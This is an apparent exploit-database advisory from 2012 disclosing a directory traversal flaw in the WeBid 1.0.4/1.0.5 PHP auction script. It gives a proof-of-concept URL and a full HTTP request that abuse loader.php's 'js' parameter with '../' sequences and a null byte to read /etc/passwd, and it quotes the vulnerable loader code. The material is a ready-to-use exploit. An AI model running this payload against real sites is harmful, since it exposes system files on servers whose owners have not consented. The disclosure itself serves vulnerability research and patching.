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WeBid 1.0.5 Directory Traversal

Posted on 20 November 2012

# Author: loneferret of Offensive Security
# Product: WeBid
# Version: 1.0.4 & 1.0.5 (and maybe older versions)
# Vendor Site: http://www.webidsupport.com
# Software Download: http://sourceforge.net/projects/simpleauction/files/simpleauction/WeBid%20v1.0.5/WeBid-1.0.5.zip/download/download
# Other related vulnerabilities: http://www.exploit-db.com/exploits/22828/

# Tested on: Ubuntu Linux

# Software description:
# WeBid is an open-source auction script package.
# Although still in beta stages WeBid is one of the best open-source solutions
# for getting an auction site up and running quickly and cheaply.
# Written in the popular scripting language PHP and with a large collection of highly customisable
# features WeBid is the prefect choice for setting up any auction site.
# Some of it's key features which make WeBid a great choice are: WeBid has an easy to
# use administration panel; a user friendly installation process, which allows you to have
# your own auction site set up in minutes; an inbuilt payment system allowing your users to
# easily pay fees and their purchased items with their favourite payment gateways (these include PayPal, Authorize.Net).
# As well as being incredibly easy to edit to your liking.

# Vulnerability:
# Directory Traversal.

# PoC:
# http://server/path/loader.php?js=../../../../../../../../../../etc/passwd%00.js;

# GET /WeBid/loader.php?js=../../../../../../../../../../etc/passwd%00.js; HTTP/1.1
# Cookie: PHPSESSID=99ec7c29eb7e060d56bb77aa1320f6de; WEBID_ONLINE=eda35dc2ad7782db5dee1543be4daf4c
# Host: 172.16.194.148
# Connection: Keep-alive
# Accept-Encoding: gzip,deflate
# User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
# Accept: */*

# Code loader.php
# if (isset($_GET['js']))
# {
# $js = explode(';', $_GET['js']);
# foreach ($js as $val)
# {
# $ext = substr($val, strrpos($val, '.') + 1);
# if ($ext == 'php')
# {
# if (check_file($val))
# {
# include $val;
# }
# }
# elseif ($ext == 'js' || $ext == 'css')
# {
# if (is_file($val))
# {
# echo file_get_contents($val);
# echo "
";
# }
# }
# }
# }

 

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